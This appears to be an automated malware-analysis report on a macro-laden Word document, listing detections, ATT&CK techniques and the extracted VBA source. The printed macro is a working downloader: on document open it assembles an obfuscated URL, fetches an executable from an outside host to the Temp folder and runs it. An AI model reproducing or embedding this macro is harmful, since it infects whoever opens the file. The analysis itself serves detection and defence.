MALICIOUS
298
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1105 Ingress Tool Transfer
The sample contains VBA macros that instruct the user to enable them to view content, a common lure. The Document_Open macro then constructs the URL 'http://leahwatkins.com/wp-includes/pomo/document.exe', downloads it to the temporary directory as 'plkjhnbgf', and executes it. This indicates a downloader functionality.
Heuristics 9
-
ClamAV: Doc.Downloader.Generic-6754310-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Generic-6754310-0
-
Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOADReference to URLDownloadToFile API
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Shell ODPBALMA, vbNormalFocus -
URLDownloadToFile in VBA critical OLE_VBA_DOWNLOADURLDownloadToFile in VBAMatched line in script
Private Declare PtrSafe Sub URLDownloadToFileA Lib "Urlmon.dll" (ByVal ORTEJOPS As Long, ByVal FLYKQCRP As String, _ -
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Sub Document_Open() -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
ODPBALMA = Environ("Temp") & "\" & "plkjhnbgf" -
Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1355 bytes |
SHA-256: 882154fe1b594996217e65b2a1e50dd8918906eef69a2abe54ec8667264903ed |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If Win64 Then
Private Declare PtrSafe Sub URLDownloadToFileA Lib "Urlmon.dll" (ByVal ORTEJOPS As Long, ByVal FLYKQCRP As String, _
ByVal BDJYRVHI As String, _
ByVal VJDZZIFI As Long, ByVal KAMJSIRJ As Long)
#Else
#End If
Sub Document_Open()
BOEGSYSK
End Sub
Sub BOEGSYSK()
GAMQHBCI = "leahwatkins.com/wp-includes/pomo/document"
ODPBALMA = Environ("Temp") & "\" & "plkjhnbgf"
GAMQHBCI0 = "h"
GAMQHBCI0 = GAMQHBCI0 + "t"
GAMQHBCI0 = GAMQHBCI0 + "t"
GAMQHBCI0 = GAMQHBCI0 + "p"
GAMQHBCI0 = GAMQHBCI0 + ":"
GAMQHBCI0 = GAMQHBCI0 + "/"
GAMQHBCI0 = GAMQHBCI0 + "/"
GAMQHBCI0 = GAMQHBCI0 + GAMQHBCI
GAMQHBCI0 = GAMQHBCI0 + "."
GAMQHBCI0 = GAMQHBCI0 + "e"
GAMQHBCI0 = GAMQHBCI0 + "x"
GAMQHBCI0 = GAMQHBCI0 + "e"
URLDownloadToFileA 0, GAMQHBCI0, _
ODPBALMA, 0, 0
If Len(Dir(ODPBALMA)) > 0 Then
Shell ODPBALMA, vbNormalFocus
End If
End Sub
Attribute VB_Name = "NewMacros"
Sub uytred()
'
' uytred Macro
'
'
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.